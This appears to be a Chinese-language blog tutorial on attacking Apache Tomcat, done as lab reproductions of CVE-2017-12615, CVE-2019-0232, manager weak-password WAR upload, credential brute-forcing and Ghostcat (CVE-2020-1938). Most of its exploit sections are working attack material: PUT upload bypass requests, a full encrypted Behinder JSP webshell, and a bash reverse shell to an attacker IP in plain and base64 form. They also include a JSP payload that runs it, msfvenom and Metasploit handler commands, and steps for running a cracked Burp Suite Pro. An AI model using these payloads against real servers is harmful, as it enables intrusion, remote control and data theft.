中间件安全之Tomcat渗透
一、Tomcat安装
Windows下安装
1)Tomcat下载
历史版本下载地址
http://archive.apache.org/dist/tomcat/
下载exe
文件
2)安装java8
下载网站:https://www.java.com/zh-CN/download/
默认下一步
查看是否安装成功
java -verison
3)安装Tomcat8
下载网站:https://tomcat.apache.org/download-80.cgi
启动安装程序安装即可
Linux下安装
1)下载8.5.65
版本的Tomcat
wget https://mirror.nodesdirect.com/apache/tomcat/tomcat-8/v8.5.65/bin/apache-tomcat-8.5.65.tar.gz
2)解压文件
tar zxvf apache-tomcat-8.5.65.tar.gz.
mv apache-tomcat-8.5.65 tomcat
3)配置环境变量
cd /etc
vi profile
export CATALINA_HOME=/root/Desktop/tomcat
4)重启环境变量
source /etc/profile
5)开启服务|关闭服务
./startup.sh
./shutdown.sh
二、Tomcat目录结构
/bin # 二进制文件
- startup.bat # 启动Tomcat服务
- shutdown.bat # 停止Tomcat服务
/conf # 配置文件
- server.xml # 定义了tomcat启动时涉及的组件属性
- tomcat-users.xml # 调用CGI
- web.xml # 定义servlet
/lib # 存放全局的jar包
/logs # 日志
/temp # 临时文件
/webapps # 存放JAVA的Web项目
/manager # 后台登陆页面
/ROOT # 根目录
三、Tomcat渗透
1、任意文件写入漏洞(CVE-2017-12615)
文件上传、getshell
影响范围:7.0.0~7.0.81(官网),
原理:配置不当(非默认配置),将配置文件,造成PUT文件上传
0x01 搭建复现环境
使用docker
进行搭建复现环境
IP
:192.168.112.141
sudo docker ps
sudo docker exec -it d /bin/bash
0x02 漏洞原理
该漏洞由于配置不当,将配置文件web.xml
中的readonly
项设置为了false
,导致可以使用PUT
方法上传任意文件,但这里限制了jsp
文件,需要进行绕过上传jsp
文件
查看readonly
项的值:
cat conf/web.xml | grep readonly
至于为什么false时会可以有PUT操作,需要进一步学习
0x03 复现操作
Ⅰ. 文件上传
1)访问主页面,抓包
2)修改包文件,发送
3)查看文件是否上传成功
4)测试上传jsp
文件
<%out.println("Hello");%>
Ⅱ. 绕过上传jsp
Linux环境:
PUT /xigua1.jsp%20 HTTP/1.1
空格绕过
PUT /xigua22.jsp:$DATA HTTP/1.1
NTFS流
PUT /xigua333.jsp/ HTTP/1.1
斜杆绕过
Windows环境:
无法绕过上传jsp,因为文件名的问题
Ⅲ.上线冰蝎
一句话
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
连接
2、远程代码执行漏洞(CVE-2019-0232)
webshell 提权
影响范围:
9.0.0 ~ 9.0.17
8.5.0 ~ 8.5.39
7.0.0 ~ 7.0.93
0x01 环境及配置
安装9.0.17
版本,下载地址:
http://archive.apache.org/dist/tomcat/tomcat-9/v9.0.17/bin/
1)配置相关项
- 在
conf\web.xml
中添加下面代码
<servlet>
<servlet-name>cgi</servlet-name>
<servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
<init-param>
<param-name>cgiPathPrefix</param-name>
<param-value>WEB-INF/cgi-bin</param-value>
</init-param>
<init-param>
<param-name>enableCmdLineArguments</param-name>
<param-value>true</param-value>
</init-param>
<init-param>
<param-name>executable</param-name>
<param-value></param-value>
</init-param>
<load-on-startup>5</load-on-startup>
</servlet>
启动
CGIServlet
部分
enableCmdLineArguments
启用后会将URL
中的参数传递到命令行
executable
指定执行的二进制文件
- 在
conf\web.xml
启动CGI的servlet-mapping
- 修改
conf\context.xml
,添加权限
<Context privileged="true">
- 在
webapps\ROOT\WEB-INF
下创建一个cgi-bin
目录,创建文件xigua.bat
,内容任意
0x02 复现操作
输入下面URL
http://192.168.112.142:8080/cgi-bin/xigua.bat?&dir
0x03 原理分析
参考:
CVE-2019-0232:Apache Tomcat RCE漏洞分析 - 先知社区 (aliyun.com)
RFC 3875 - The Common Gateway Interface (CGI) Version 1.1 (ietf.org)
code white | Blog: Java and Command Line Injections in Windows
漏洞相关的代码在 tomcat\java\org\apache\catalina\servlets\CGIServlet.java
中,CGIServlet提供了一个cgi的调用接口,在启用 enableCmdLineArguments
参数时,会根据RFC 3875来从Url参数中生成命令行参数,并把参数传递至Java的 Runtime
执行。 这个漏洞是因为 Runtime.getRuntime().exec
在Windows中和Linux中底层实现不同导致的。下面以一个简单的case来说明这个问题,在Windows下创建arg.bat:
rem arg.bat
echo %*
并执行如下的Java代码
String [] cmd={"arg.bat", "arg", "&", "dir"};
Runtime.getRuntime().exec(cmd);
在Windows下会输出 arg
和 dir
命令运行后的结果。同样的,用类似的脚本在Linux环境下测试:
# arg.sh
for key in "$@"
do
echo '$@' $key
done
String [] cmd={"arg.sh", "arg", "&", "dir"};
Runtime.getRuntime().exec(cmd);
此时的输出为
$@ arg
$@ &
$@ dir
导致这种输出的原因是在JDK的实现中 Runtime.getRuntime().exec
实际调用了 ProcessBuilder
,而后 ProcessBuilder
调用 ProcessImpl
使用系统调用 vfork
,把所有参数直接传递至 execve
。
用 strace -F -e vfork,execve java Main
跟踪可以看到上面的Java代码在Linux中调用为
execve("arg.sh", ["arg.sh", "arg", "&", "dir"], [/* 23 vars */])
而如果跟踪类似的PHP代码 system('a.sh arg & dir');
,得到的结果为
execve("/bin/sh", ["sh", "-c", "a.sh arg & dir"], [/* 23 vars */])
所以Java的 Runtime.getRuntime().exec
在CGI调用这种情况下很难有命令注入。而Windows中创建进程使用的是 CreateProcess
,会将参数合并成字符串,作为 lpComandLine
传入 CreateProcess
。程序启动后调用 GetCommandLine
获取参数,并调用 CommandLineToArgvW
传至 argv。在Windows中,当 CreateProcess
中的参数为 bat 文件或是 cmd 文件时,会调用 cmd.exe
, 故最后会变成 cmd.exe /c "arg.bat & dir"
,而Java的调用过程并没有做任何的转义,所以在Windows下会存在漏洞。
除此之外,Windows在处理参数方面还有一个特性,如果这里只加上简单的转义还是可能被绕过, 例如 dir "\"&whoami"
在Linux中是安全的,而在Windows会执行命令。
这是因为Windows在处理命令行参数时,会将 "
中的内容拷贝为下一个参数,直到命令行结束或者遇到下一个 "
,但是对 \"
的处理有误。同样用 arg.bat
做测试,可以发现这里只输出了 \
。因此在Java中调用批处理或者cmd文件时,需要做合适的参数检查才能避免漏洞出现。
0x04 修复建议
关闭enableCmdLineArguments
参数
3、弱口令&后台getshel漏洞
后台文件上传、getshell
0x01 环境配置
这里使用Win7
环境,IP
为192.168.112.142
1)在conf\tomcat-users.xml中配置用户权限
<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
version="1.0">
<role rolename="manager-gui"/> <role rolename="manager-script"/>
<role rolename="manager-jmx"/>
<role rolename="manager-status"/>
<role rolename="admin-gui"/>
<role rolename="admin-script"/>
<user username="tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" />
</tomcat-users>
2)开启远程访问
在conf\Catalina\localhost\manager.xml
文件中添加如下代码
<Context privileged="true" antiResourceLocking="false"
docBase="${catalina.home}/webapps/manager">
<Valve className="org.apache.catalina.valves.RemoteAddrValve" allow="^.*$" />
</Context>
3)访问改网址,即可登陆
http://192.168.112.142:8080/manager/html
0x02 后台操作
1)创建后门文件
2)生成war
文件
将muma.jsp
压缩为zip
,然后修改后缀成war
或者jar -cvf muma.war muma.jsp
3)上传至网站
4)冰蝎连接
0x03 MSF-getshell
1)使用模块
use exploit/multi/http/tomcat_mgr_upload
2)设置相关项
set rhosts 192.168.112.142
set rport 8080
set HttpPassword tomcat
set HttpUsername tomcat
3)执行、提权
4、Tomcat Manager 爆破
账号密码爆破
0x01 工具安装
1)开启burpsuite专业版
java -jar burploader.jar
点击RUN
复制License
,点击NEXT
点击Manual activation
得到密钥,Next
,开启即可
开启BurpSuite
java --illegal-access=permit -Dfile.encoding=utf-8 -javaagent:BurpSuiteCn.jar -javaagent:BurpSuiteLoader_v2020.12.1.jar -noverify -jar burpsuite_pro_v2020.12.1.jar
2)下载Foxyproxy
Google
搜索FoxyProxy
网址:FoxyProxy Standard – Get this Extension for 🦊 Firefox (en-US) (mozilla.org)
0x02 爆破操作
1)查看账号密码传输形式
随便填账号密码,抓包查看
可以看到是base64
加密形式
4)发送给Sniper模块进行爆破
Ⅰ. 选择攻击类型|添加有效载荷
选择攻击类型为Sniper,选定密码数据处,选择添加§
Ⅱ. 设置有效载荷类型
选择自定义迭代器
Ⅲ. 设置有效载荷
分别在1、2、3的位置上添加上载荷(这里用于测试,随便写了几个)
Ⅳ. 添加有效载荷的处理方式
选择Base64
编码
Ⅴ. 开始爆破
查看结果,发现有状态为200的数据包,表示爆破成功
5、AJP文件包含漏洞分析(CVE-2020-1938)
任意文件读取、代码执行
0x01 基本介绍
由于 Tomcat
在处理 AJP
请求时,未对请求做任何验证, 通过设置 AJP
连接器封装的 request
对象的属性, 导致产生任意文件读取漏洞和代码执行漏洞
影响版本:
Apache Tomcat 6
Apache Tomcat 7 < 7.0.100
Apache Tomcat 8 < 8.5.51
Apache Tomcat 9 < 9.0.31
HTTP协议: 连接器监听 8080 端口,负责建立HTTP连接。在通过浏览器访问 Tomcat 服务器的Web应用时,使用的就是这个连接器。
AJP协议: 连接器监听 8009 端口,负责和其他的HTTP服务器建立连接。Tomcat 与其他HTTP服务器集成时,就需要用到这个连接器。
0x02 环境搭建
使用Docker
进行搭建,在vulhub
靶场上进行复现,网址传送门
cd /vulhub/tomcat/CVE-2020-1938
sudo docker-compose up -d #开启容器
sudo docker ps #查看容器信息
sudo docker exec -it 【ID】 /bin/bash #进入容器内部
IP:192.168.112.141
0x03 复现操作
Ⅰ. 文件读取漏洞
该漏洞产生的位置位于8009的AJP协议处,可以查看到/webapps
下的所有信息。这里使用公开利用的脚本进行测试,读取网站目录下的web.xml
文件
1)下载POC
下载地址:
YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi: Tomcat-Ajp协议文件读取漏洞 (github.com)
该脚本在python2
下运行,下面先使用Kali Linux
进行演示,后面看情况再在Windows
上演示
2)执行该脚本
python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.112.141 -p 8009 -f /WEB-INF/web.xml
Ⅱ. 文件包含漏洞
文件包含导致代码执行,反向shell【txt文件反弹shell】,结合前面的文件上传
该漏洞可以将任意文件解析为jsp
,达到任意命令执行的效果。但需要配合文件上传漏洞(前面有讲),这里假设服务器上已存在一个shell
文件
1)开启监听
nc -lvp 8888
2)根据监听信息生成payload,并处理
在线Bash Payload
生成网站:java.lang.Runtime.exec() Payload Workarounds - @Jackson_T (jackson-t.ca)
输入如下命令,192.168.112.132
为攻击机的ip
地址。
bash -i >& /dev/tcp/192.168.112.132/8888 0>&1
得到的payload
为
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMi4xMzIvODg4OCAwPiYx}|{base64,-d}|{bash,-i}
3)构造最终的payload
<%
java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMi4xMzIvODg4OCAwPiYx}|{base64,-d}|{bash,-i}").getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
%>
创建xigua-RCE.txt
文件,写入上面代码。
4)上传payload
文件
这里假设该文件已上传至网站目录上
sudo docker cp /home/Zer0b1t/vulnerability_emersion/xigua-RCE.txt 608768a331b1:/usr/local/tomcat/webapps/ROOT
5)执行脚本,上线
这里的脚本和文件读取为同一个,这里只是改名了,下载地址
python2 file_include.py 192.168.112.141 -p 8009 -f xigua-RCE.txt
Ⅲ. 文件包含漏洞结合MSF
与上一部分类似,只是在
msf
里操作
1)msfvenom
生成木马文件【txt】
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.112.132 LPORT=5555 R > shell.txt
2)上传文件至/ROOT
步骤见上
3)使用jsp_shell_reverse_tcp
监听模块
use exploit/multi/handler
set payload java/jsp_shell_reverse_tcp
set lhost 192.168.112.132
set lport 5555
exploit -j #后台运行该监听脚本
4)执行文件包含脚本file_include.py
,上线
python2 file_include.py 192.168.112.141 -p 8009 -f shell.txt
执行后查看session
,使用session 2
输入shell
等待连接
0x04 源码分析
本人过菜,留下分析文章日后再来【4.26】
Tomcat Ajp协议文件包含漏洞分析 - 先知社区 (aliyun.com)
不调试源码重现 Ghostcat 漏洞 (CVE-2020-1938) (seebug.org)
CVE-2020-1938:Tomcat AJP文件包含漏洞分析 · Ywc's blog (yinwc.github.io)